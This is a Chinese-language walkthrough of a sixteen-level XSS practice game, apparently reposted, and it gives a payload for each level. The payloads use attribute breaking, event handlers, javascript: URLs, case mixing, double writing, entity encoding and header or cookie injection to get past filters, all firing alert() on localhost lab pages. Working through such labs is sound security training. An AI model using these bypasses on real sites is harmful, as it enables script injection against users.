XSS小游戏


 

 

第一关

直接在URL输入

?name=<script>alert('xss')</script>

 

第二关

找源码,输入test,value值变为test,我们可以在输入框尝试xss攻击

闭合前面的input标签,在插入代码

payload

"><script>alert('xss')</script>

 

 

 

第三关

依旧输入test找注入点

输入"><script>alert('xss')</script>

 

htmlspecialchars()转义成HTML实体

 但是htmlspecialchars在默认情况下不会转义单引号,需要设置quotestyle才会进行转义

我们可以从单引号测试 payload

'onclick='window.alert()

 

 

第四关

 尝试输入<script>alert('xss')</script>

明显的过滤掉了 < >

这里构造payload绕过 < >

"onclick="window.alert('xss')

 

 第五关

尝试输入<script>alert('xss')</script>

将前面的script变成scr_ipt

用其他语句绕过

输入"onlick="window.alert()

依旧替换 on变成o_n

我们采用JavaScript伪协议

"><a href="javascript:alert('xss')">1</a>

点击 1 成功绕过

 

第六关

直接测试了一下,过滤了很多,查看源码

 

我们可以采用大小写混合拼写绕过

"><img Src=x Onerror=alert(1)>

 

第七关

测试了一下,script跟on等直接没了

推测被替换成空,查看源码

果不其然,替换为空,一般采用双写绕过

"><scrscriptipt>alert('xss')</scrscriptipt>

 

 第八关

输入tes

查看源码,过滤了很多,双引号也被过滤掉了

 

这里我们只要输入JavaScript:alert(‘xss’)即可

但是script被替换成scr_ipt

我们可以采用编码的形式绕过

payload

javascri&#x70;t:alert() #HTML实体编码(HEX) javascri&#112;t:alert() #HTML实体编码(DEC) 

这是实体编码 entity code

「&#」开头的后接十进制数字,「&#x」开头的后接十六进制数字。

 

第九关

输入test测试一下,test出现在value值里面

 

查看源码,比之前多了一串,需要添加http://,否则无效

那么就添加http://

/*这是是注释*/

构造payload

javascri&#x70;t:alert()/*http://www.test.com*/

 

 第十关

分析源码,keyword跟t_sort两个可以进行get传值,同时t_sort过滤掉了<>,并且t_sort隐藏了

构造payload

?t_sort="onclick="alert()"type="text"

?t_sort=" onclick="alert()" type="text"

 

 

第十一关

可以用HTTP头的referer进行注入,这里我们需要burpsuite抓包

payload

t_sort="type="text" onclick="alert(1)

 

 

 

 第十二关

 

这里是HTTP头中的Uuser-agent进行注入

构造payload

"type="text" onclick="alert(1)

在User-Agent后面跟随payload即可

 

第十三关

cookie注入

user=" type="text" onclick="alert(1)"

 

第十四关

PASS

 

第十五关

ng-include 指令用于包含外部的 HTML 文件

ng-include 属性的值可以是一个表达式,返回一个文件名。

payload

http://localhost/xss/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

 

 

第十六关

转义成HTML实体,黑名单容易忽略过滤的字符

payload

?keyword=<img%0asrc=1%0aonerror=alert()>
%0a %0b %0c %0d (回车换行) 空格绕过

 




 

 

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM